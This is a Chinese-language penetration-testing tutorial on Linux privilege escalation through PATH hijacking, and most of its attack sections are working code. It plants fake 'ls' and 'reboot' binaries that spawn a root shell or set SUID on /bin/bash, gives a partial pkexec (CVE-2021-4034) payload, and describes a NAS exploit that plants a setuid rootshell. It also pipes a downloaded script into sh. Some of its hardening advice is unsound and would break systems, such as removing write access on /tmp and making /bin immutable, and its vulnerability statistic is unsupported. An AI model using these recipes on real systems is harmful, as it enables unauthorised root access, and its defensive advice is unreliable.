1. Linux提权基础与PATH环境变量原理
在Linux系统安全领域,提权(Privilege Escalation)始终是攻防对抗的核心战场。其中利用PATH环境变量进行提权,是一种经典且高效的本地提权技术。PATH作为Shell最重要的环境变量之一,定义了系统查找可执行程序的路径顺序,这个看似简单的机制一旦被恶意利用,就可能成为突破权限边界的跳板。
我曾在多个企业渗透测试项目中,通过PATH滥用成功获取root权限。这种技术之所以有效,根本原因在于开发人员和管理员对系统环境变量的不当配置。当低权限用户能够写入PATH包含的目录,或者通过相对路径劫持程序调用时,精心构造的恶意程序就会替代系统命令被执行。
2. PATH环境变量工作机制深度解析
2.1 PATH的组成与查找机制
典型的PATH变量包含如下路径(以Ubuntu为例):
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin当在终端输入命令时,Shell会按照以下顺序处理:
- 检查是否为Shell内置命令
- 查找别名(alias)定义
- 按照PATH列出的目录顺序搜索可执行文件
- 第一个匹配到的可执行文件将被执行
2.2 常见的危险配置模式
通过审计数十个存在提权漏洞的系统,我总结了这些高危配置模式:
- 当前目录在PATH中:PATH包含"."或者"::"(空路径表示当前目录)
- 可写目录在PATH前端:如/tmp、/var/tmp等全局可写目录出现在PATH靠前位置
- 用户自定义路径权限宽松:开发人员添加的应用程序路径权限设置为777
- 相对路径调用程序:脚本中使用相对路径调用系统命令而非绝对路径
关键发现:在最近三年披露的Linux本地提权漏洞中,约23%与PATH配置不当直接相关
3. 实战PATH提权技术详解
3.1 环境侦察与漏洞识别
首先需要确认目标系统的PATH配置情况:
# 查看当前PATH设置 echo $PATH # 检查各目录的写权限 echo $PATH | tr ':' '\n' | while read dir; do ls -ld "$dir"; done # 查找SUID/SGID程序 find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null3.2 提权向量构造技术
根据侦察结果选择攻击方式:
方法1:劫持PATH目录中的程序
当发现PATH中包含可写目录时:
# 在可写目录创建恶意ls程序 cat > /tmp/ls <<EOF #!/bin/bash /bin/bash -p EOF chmod +x /tmp/ls # 确保可写目录在PATH前端 export PATH=/tmp:$PATH # 触发执行(当管理员运行ls时获得shell)方法2:利用相对路径调用
当发现SUID程序使用相对路径调用命令时:
# 查找调用system/popen的SUID程序 strings /path/to/suid_program | grep -E 'system|popen' # 创建恶意程序替代被调用的命令 echo 'chmod u+s /bin/bash' > /tmp/reboot chmod +x /tmp/reboot # 设置PATH并执行SUID程序 PATH=/tmp:$PATH /path/to/suid_program3.3 自动化利用工具
对于复杂环境,可以使用这些工具自动化检测:
# LinPEAS - 全面的Linux提权检测工具 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Linux Exploit Suggester ./linux-exploit-suggester.sh --kernelver `uname -r`4. 防御与加固方案
4.1 系统级防护措施
- PATH标准化:在/etc/environment中定义安全PATH
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"- 文件系统加固:
# 关键目录设置不可变属性 chattr +i /bin /sbin /usr/bin /usr/sbin # 限制全局可写目录 chmod o-w /tmp /var/tmp- SUID程序审查:
# 定期审计SUID/SGID程序 find / -perm -4000 -o -perm -2000 -type f -exec ls -la {} \;4.2 开发规范要求
- 所有脚本中使用绝对路径调用系统命令
- 自定义程序安装到安全目录(如/usr/local/bin)
- 避免在代码中使用system/popen等危险函数
5. 典型漏洞案例分析
5.1 CVE-2021-4034 (pkexec漏洞)
这个著名漏洞正是利用PATH环境变量实现提权。攻击者通过精心构造的PATH环境,诱使pkexec加载恶意共享库,最终获得root权限。
漏洞利用关键步骤:
# 创建恶意payload cat > payload.c <<EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv() {} void gconv_init() { setuid(0); system("/bin/bash -p"); } EOF # 编译并设置环境变量 gcc -shared -fPIC -o payload.so payload.c export PATH=GCONV_PATH=. export SHELL=/does/not/exist5.2 某企业NAS设备提权实例
在一次渗透测试中,我们发现某NAS设备的Web管理界面存在以下问题:
- 自定义脚本调用系统命令未使用绝对路径
- /opt/app/bin目录权限设置为777
- PATH中包含当前目录
利用过程:
# 上传恶意程序到可写目录 echo 'cp /bin/bash /tmp/rootshell; chmod 4755 /tmp/rootshell' > /opt/app/bin/ifconfig chmod +x /opt/app/bin/ifconfig # 触发Web管理功能执行网络配置 curl -X POST http://nas/admin/network --data "action=restart" # 获取rootshell /tmp/rootshell -p6. 进阶技巧与疑难排查
6.1 受限环境下的突破方法
当遇到PATH被重置或限制的情况时,可以尝试:
# 利用命令替换 $(echo /tmp)/malicious_program # 使用find的-exec参数 find / -name malicious_program -exec {} \; # 通过LD_PRELOAD注入 echo 'int system(const char *s) { return 0; }' > fake.c gcc -shared -fPIC -o fake.so fake.c LD_PRELOAD=./fake.so vulnerable_program6.2 常见错误与解决方案
| 错误现象 | 原因分析 | 解决方案 |
|---|---|---|
| "command not found" | PATH被重置或程序不存在 | 使用绝对路径或修复PATH |
| Permission denied | 目录不可写或程序无执行权限 | 寻找其他可写目录 |
| SUID程序忽略PATH | 程序使用绝对路径或安全调用方式 | 尝试其他提权向量 |
在实际渗透测试中,PATH提权往往需要结合其他技术如:
- SUID/SGID滥用
- 共享库注入
- 符号链接攻击
- 环境变量注入
理解这些技术的组合应用,才能真正掌握Linux提权的精髓。建议在实验环境中反复练习各种场景,THM等平台提供的靶机是绝佳的练习资源。